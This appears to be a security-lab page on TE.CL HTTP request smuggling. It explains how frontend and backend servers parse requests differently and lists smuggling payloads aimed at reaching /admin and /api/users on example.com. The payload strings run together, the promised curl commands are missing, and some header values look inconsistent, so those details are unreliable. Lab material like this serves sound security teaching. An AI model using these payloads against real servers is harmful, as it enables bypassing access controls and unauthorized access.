Transfer-Encoding vs Content-Length parsing differences
This lab demonstrates a TE.CL (Transfer-Encoding vs Content-Length) HTTP Request Smuggling vulnerability. The frontend server uses Transfer-Encoding: chunked to determine the request body length, while the backend server uses Content-Length.
Objective: Send a malformed HTTP request that exploits the parsing difference to smuggle additional requests past security controls.
// Vulnerable: Different parsing between frontend and backend // Frontend uses Transfer-Encoding: chunked // Backend uses Content-Length // Example vulnerable request: POST /2.php HTTP/1.1 Host: example.com Transfer-Encoding: chunked Content-Length: 3 0 SMUGGLED // Frontend sees: Transfer-Encoding: chunked (reads until 0\r\n) // Backend sees: Content-Length: 3 (reads 3 bytes) // Result: "SMUGGLED" becomes the start of the next request
0\r\n\r\nSMUGGLED - Basic TE.CL payload0\r\n\r\nGET /admin HTTP/1.1\r\nHost: example.com\r\n\r\n - Admin access0\r\n\r\nPOST /api/users HTTP/1.1\r\nHost: example.com\r\nContent-Length: 10\r\n\r\nuser=admin - API accessTry these payloads in the request body:
0\r\n\r\nSMUGGLED0\r\n\r\nGET /admin HTTP/1.1\r\nHost: example.com\r\n\r\n0\r\n\r\nPOST /api/users HTTP/1.1\r\nHost: example.com\r\nContent-Length: 10\r\n\r\nuser=adminUse these curl commands to test the vulnerability: